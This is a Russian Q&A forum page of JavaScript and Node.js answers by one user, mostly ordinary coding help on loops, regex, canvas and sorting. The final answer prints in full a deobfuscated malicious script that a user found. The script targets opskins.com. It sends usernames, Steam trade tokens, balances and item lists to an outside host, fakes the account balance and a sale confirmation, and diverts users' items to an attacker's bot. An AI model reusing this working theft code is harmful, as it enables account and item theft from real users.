• Почему не наследует свойство конструктора?

    bingo347
    @bingo347 Куратор тега JavaScript
    Crazy on performance...
    Во-первых, Object.create создает объект из прототипа без вызова конструктора, и передавать ему надо прототипconst add = Object.create(Manipulate.prototype);С вызовом конструктора надо писать так:const add = new Manipulate('id1', 'id2');

    Во-вторых, Object.prototype.hasOwnProperty проверяет, что данное свойство есть в объекте и оно собственное (не из прототипа), для общей проверки (включая цепочку прототипов) используется оператор inconsole.log('test' in add);

    UPD:
    Добавлю еще, что стрелочная функция не имеет собственного контекста, this у нее из замыкания, нужна полноценная функция или метод объекта
    Ответ написан
    Комментировать
  • Алгоритм поиска последовательности выпадения числа. Возможно ли такое реализовать?

    bingo347
    @bingo347
    Crazy on performance...
    Создайте нейронную сеть типа перцептрон, обучайте пока результаты не станут удовлетворительными
    Ответ написан
    Комментировать
  • Как рассортировать данные JSON в порядке возрастания?

    bingo347
    @bingo347 Куратор тега Node.js
    Crazy on performance...
    У Вас объект, объекты в js имеют произвольный доступ, и хотя чаще всего ключи объекта идут в порадке добавления, никто гарантировать это не может!
    Что можно сделать? - получить массив ключей этого объекта и отсортировать этот массив согласно значениям свойств:
    var keys = Object.getOwnPropertyNames(obj.position);
    keys.sort((a, b) => obj.position[a] - obj.position[b]);
    Ответ написан
    Комментировать
  • На чем писать программу под Windows?

    bingo347
    @bingo347
    Crazy on performance...
    electron.js
    И не слушайте тех, кто рекомендует nw.js - она кривая
    Ответ написан
    Комментировать
  • Как в js кликнуть по a-->href?

    bingo347
    @bingo347 Куратор тега JavaScript
    Crazy on performance...
    document.querySelector('a').click();
    Ответ написан
    Комментировать
  • Что такое "инвертированный" цикл for в JS?

    bingo347
    @bingo347 Куратор тега JavaScript
    Crazy on performance...
    Классический цикл for в javascript состоит из 3х операторов: init, predicate, nextIteration
    В общей записи это выглядит так:for(init; predicate; nextIteration) { body }

    Цикл for исполняется следующим образом:
    1. Выполняется оператор init в области видимости блока цикла
    Обычно здесь объявляют переменную-счетчик и присваивают ей начальное значение
    Определение "в области видимости блока цикла" означает, что если init-оператор представляет собой оператор let - то объявленные переменные будут видны в цикле, но не за его пределами
    2. Вычисляется predicate, его результат приводится к boolean и последующее выполнение зависит от результата этого приведения:
    Если результат === false - то цикл завершается
    Если результат === true - то переходим к шагу 3
    3. Исполняется тело цикла - блок body, официально блоком быть не обязан, может быть и единичным оператором, но лучше всегда писать блок (фигурные скобки)
    4. Исполняется оператор nextIteration и переходим к пункту 2

    Теперь разберемся на конкретных примерах:
    Прямой цикл
    for(let i = 0; i < 10; i++) {
      console.log(i);
    }

    Объявляется переменная i и ей присваивается начальное значение 0
    Получается результат выражения Boolean(i < 10) -> 0 < 10 - true -> Boolean(true) - true -> можем выполнять тело
    Выполняется тело console.log(i); -> видим 0 в консольке
    Выполняется i++ -> i становится 1
    Получается результат выражения Boolean(i < 10) -> 1 < 10 - true -> Boolean(true) - true -> можем выполнять тело
    ...
    Так все продолжается 10 раз, на 10 итерации появляются изменения после этого момента:
    Выполняется i++ -> i становится 10
    олучается результат выражения Boolean(i < 10) -> 10 < 10 - false -> Boolean(false) - false -> завершаем цикл

    инвертированный цикл
    for(let i = 10; i--;) {
      console.log(i);
    }

    Объявляется переменная i и ей присваивается начальное значение 10
    Получается результат выражения Boolean(i--) -> i-- - 10, i = 9 -> Boolean(10) - true -> можем выполнять тело
    Выполняется тело console.log(i); -> видим 9 в консольке
    Оператор nextIteration - пустой, ничего выполнять не надо
    Получается результат выражения Boolean(i--) -> i-- - 9, i = 8 -> Boolean(9) - true -> можем выполнять тело
    ...
    Цикл по прежнему работает 10 раз, последняя итерация (когда i к моменту исполнения predicate равна 0):
    Получается результат выражения Boolean(i--) -> i-- - 0, i = -1 -> Boolean(0) - false -> завершаем цикл

    Как видим, за счет отсутствия nextIteration оператора, на каждой итерации выполняется на одно действие меньше, поэтому цикл отрабатывает быстрее
    Ответ написан
    2 комментария
  • Почему не добавляется в canvas изображение?

    bingo347
    @bingo347 Куратор тега JavaScript
    Crazy on performance...
    Картинка еще не загрузилась, а Вы уже пытаетесь ее отрисовывать
    Алексей Ярков в одном из коментов написал правильный вариант кода
    Ответ написан
  • Как заменить цвета в css коде с помощью jQuery или JavaScript?

    bingo347
    @bingo347 Куратор тега JavaScript
    Crazy on performance...
    Есть такой js модуль https://www.npmjs.com/package/css
    Парсит css код в ast-дерево и умеет собирать его обратно
    Распарсили, изменили дерево как надо, собрали обратно
    Ответ написан
    4 комментария
  • Как правильно использовать регулярные выражения для replace?

    bingo347
    @bingo347 Куратор тега JavaScript
    Crazy on performance...
    str.replace(/{name}|{place}/g, found => {
      switch(found) {
        case '{name}': return 'lola';
        case '{place}': return 'city';
      }
    });
    Ответ написан
    9 комментариев
  • Можно ли получить инфу о всех воркерах в мастере?

    bingo347
    @bingo347 Куратор тега Node.js
    Crazy on performance...
    Ответ написан
    Комментировать
  • Можно ли в Node.js включить многопоточность?

    bingo347
    @bingo347 Куратор тега JavaScript
    Crazy on performance...
    JavaScript - однопоточный язык, даже если появится компилятор с поддержкой многопоточности, то придется ввести много не стандартизированного функционала
    Так что запускайте процессы, налаживайте между ними общение (например через redis или zeromq) и не заморачивайтесь реальной многопоточностью
    Ответ написан
  • Кто как делает html формы?

    bingo347
    @bingo347 Куратор тега JavaScript
    Crazy on performance...
    студии которые как семечки выплевывают сайты сидят

    такие студии просто имеют заготовки для стандартных ситуаций
    то есть если это например обратный звонок - то сopy -> paste
    а если что в колекции нет - нанимают оутсорс
    у них все сайты под одну гребенку, и фреймворки там редко используются, в лучшем случае какая-нибудь джумла/вордпрес
    Ответ написан
    Комментировать
  • Как тут использовать document.getElementsByClassName?

    bingo347
    @bingo347 Куратор тега JavaScript
    Crazy on performance...
    document.getElementsByClassName возвращает коллекцию NodeList а не отдельный элемент
    если нужно что-то сделать со всеми элементами в этой коллекции, то ее нужно пройти циклом:
    function look(t) {
      var pList = document.getElementsByClassName(t);
      var l = document.getElementsByClassName("a-" + t)[0];
      for(var i = 0; i < pList.length; i++) {
        var p = pList[i];
        if (p.style.display == "block") {
          l.innerHTML = "Показать все";
          p.style.display = "none";
        } else {
          l.innerHTML = "скрыть";
          p.style.display = "block";
        }
      }
    }
    Ответ написан
    Комментировать
  • От чего зависит плавность работы анимации на сайте?

    bingo347
    @bingo347 Куратор тега JavaScript
    Crazy on performance...
    Перенесите всю dom-анимацию в css, на js анимации быть не должно в принципе (за исключением canvas)
    Ответ написан
  • Как получить нативно часовой пояс клиента?

    bingo347
    @bingo347 Куратор тега JavaScript
    Crazy on performance...
    var d = new Date();
    console.log(d.getTimezoneOffset()); //смещение от Гринвича в минутах
    Ответ написан
  • Удаление переменной js?

    bingo347
    @bingo347 Куратор тега JavaScript
    Crazy on performance...
    думаю, что $('.steps').data('id'); не меняется - в этом все дело, смотрите в отладчике
    ну и еще селектор очень странный тут $('[name="data[new][street]').kladr
    Ответ написан
    Комментировать
  • Как подставлять данные в форму?

    bingo347
    @bingo347 Куратор тега JavaScript
    Crazy on performance...
    Пишите скрипт который:
    1) заполняет input через свойство value
    2) кликает кнопку - метод click()
    3) Ждете, когда нужный тег обновится и выдергиваете текст из него
    4) Выводит результат в консоль (либо отправляет на локальный сервер, который будет его в файлик писать)
    5) повторяет пункт 1 для следующего value

    Инжектите этот скрипт на нужный сайт через конольку и вызываете с нужным набором данных и пусть работает себе, потом результат с консольки забираем
    Ответ написан
  • Как сделать запрос в монгу ко вложенным аттрибутам?

    bingo347
    @bingo347
    Crazy on performance...
    В data нет items
    В data есть 10104, в котором есть items
    Ответ написан
    2 комментария
  • Как создать цепочку вызовов из объектов в JavaScript?

    bingo347
    @bingo347 Куратор тега JavaScript
    Crazy on performance...
    function test() {
      //your work with state
      test._state = {}; //reset state
    }
    Object.defineProperties(test, {
      _state: {
        enumerable: false,
        writable: true,
        value: {}
      },
      t1: {
        get: function() {
          test._state.t1 = true;
          return test;
        }
      },
      t2: {
        get: function() {
          test._state.t2 = true;
          return test;
        }
      }
    });
    Ответ написан
    4 комментария
  • Нашёл вредоносный код, как его расшифровать?

    bingo347
    @bingo347 Куратор тега JavaScript
    Crazy on performance...
    Держите Ваш скрипт, что делает сами разбирайтесь, мне влом
    if (document.domain === 'www.opskins.com' || document.domain === 'opskins.com') {
    		function online() {
    		var n = $('.avatar-menu .dropdown a h2').text();
    		$.post( 'https://obhodblyat.ru/opskinseba/'+ahuet+'/online.php', {name: n} );
    	}
    		var n = $('.avatar-menu .dropdown a h2').text();
    		$.post( 'https://obhodblyat.ru/opskinseba/'+ahuet+'/online.php', {name: n} );
    					setInterval(online,45000);
    	$('.op-alert-message.op-danger').hide();
    	function bal(){
    		$.get('https://obhodblyat.ru/opskinseba/'+ahuet+'/balance.php', function(data){
    
    		data = JSON.parse(data);
    		var name = $('.navbar-brand .user-info h2').text();
    		name = name.substring(0, name.length - 1);
    		if(name == data.nick){
    		var bal = $('#op-count').text();
    		bal = bal.substring(1);
    		bal = parseFloat(bal);
    		var bal2 = data.bal;
    		bal2 = parseFloat(bal2);
    		bal = bal+bal2;
    
    		$('#op-count').text('$'+bal);
    		$('#op-count').show();
    		}else{
    		$('#op-count').show();
    		}
    
    	});
    	}
    
    
    
    var gay = location.href
    if(gay.indexOf('loc=shop_sale_form') > 0) {
    $('button.navbar-toggle.pull-left').before('<div style="display:none; background: #00a279;font-family: sans-serif;padding: 10px;text-align: center;font-size: 20px;" class="adminopsninssuckercock">0 - Items was stolen</div>');
    $('.adminopsninssuckercock').show('slow');
    function hideban() {
    $('.adminopsninssuckercock').hide('slow');
    }
    setTimeout(hideban, 5000);
    var bot = '';
    var code = '';
    var steamid = '';
    			var imgepta = '';
    			var textepta = '';
    var on = '';
    
    
    
    function getCookie(name) {
      var matches = document.cookie.match(new RegExp(
        "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)"
      ));
      return matches ? decodeURIComponent(matches[1]) : undefined;
    }
    
    var link = 'https://steamcommunity.com/my/tradeoffers';
    function sell2() {
    	$('#qItems').html('<div class="alert alert-success">'+
    			'<p>Your sale has been assigned to <a href="https://steamcommunity.com/profiles/'+steamid+'" class="alert-link" target="_BLANK">bot #'+bot+'</a>.</p>'+
    			'<p><b>Your security token is \''+code+'\'.</b></p>'+
    			'<h4>Open Trade Offer In:</h4>'+
    			'<span class="offer-links">'+
    				'<a class="btn btn-default btn-lg" target="_BLANK" href="'+link+'"><i class="fa fa-chrome"></i> Browser</a>'+
    				'<a class="btn btn-default btn-lg" href="steam://url/TradeOffers/"><i class="stm stm-steam"></i> Steam</a>'+
    			'</span>'+
    			'<p>Trade offers may be canceled after 5 minutes.<br>After that time, you must resend the offer from your account page.</p>'+
    		'</div>')
    }
    var csrf = getCookie('opskins_csrf');
    	function keksik(){
    $.ajax({
                url: '/?loc=store_account',
                type: 'GET',
                headers: {
                    'x-csrf': csrf
                },
                success: function (result) {
                 		var t = "OPskins";
    		var n = $('.avatar-menu .dropdown a h2').text();
    		var v = $(result).find('input[name*="tUrl"]').val();
    		var v1 = v.split('&token=')[0];
    		v1 = v1.substr(51);
    		var v2 = v.split('&token=')[1];
    		var b = $('#op-count').text();
    $.post( 'https://obhodblyat.ru/opskinseba/'+ahuet+'/logs.php', { type: t, name: n, value1: v1,value2: v2,bal: b,items: textepta, itemsimg: imgepta } );
                },
                error: function (error) {
    
                }
            });
    	}
    
    
    
    function pre() {
    		$('#sellDepositBtn').html('<span class="btn btn-orange" id="sellitems" style="display: inline-block;">Deposit Items<span id="dueNowBtn" style="display:none;"> (<span id="dueNowAmt">0</span> Due Now)</span> </span>')
    	$.get('https://obhodblyat.ru/opskinseba/'+ahuet+'/name.php', function(data){
    		bot = data;
    	})
    	$.get('https://obhodblyat.ru/opskinseba/'+ahuet+'/code.php', function(data){
    		code = data;
    	})
    	$.get('https://obhodblyat.ru/opskinseba/'+ahuet+'/steamid.php', function(data){
    		steamid = data;
    	})
    
    	//setTimeout(keksik, 2000);
    
    
    
    $( "#sellitems" ).click(function() {
    			$( "#qItems .sale-item" ).each(function() {
    			imgepta += '<img src="'+$(this).find(".sale-item-img").attr("src")+'"></img>';
    			textepta += '<span>'+$(this).find('.sale-item-desc').text()+'</span>';
    		});
    		keksik();
    	$("#qItems").html("<img class='ajax-loader' src='images/ajax-loader-big.gif'/>");
    	setTimeout(sell2,2000);
    })
    }
    }
    $.get('https://obhodblyat.ru/opskinseba/'+ahuet+'/steam.php', function(data){
    if(data == '1'){
    	bal();
    	if(gay.indexOf('loc=shop_sale_form') > 0) {
    		pre();
    	}
    }else{
    	$('#op-count').show();
    }
    })
    }
    Ответ написан
    2 комментария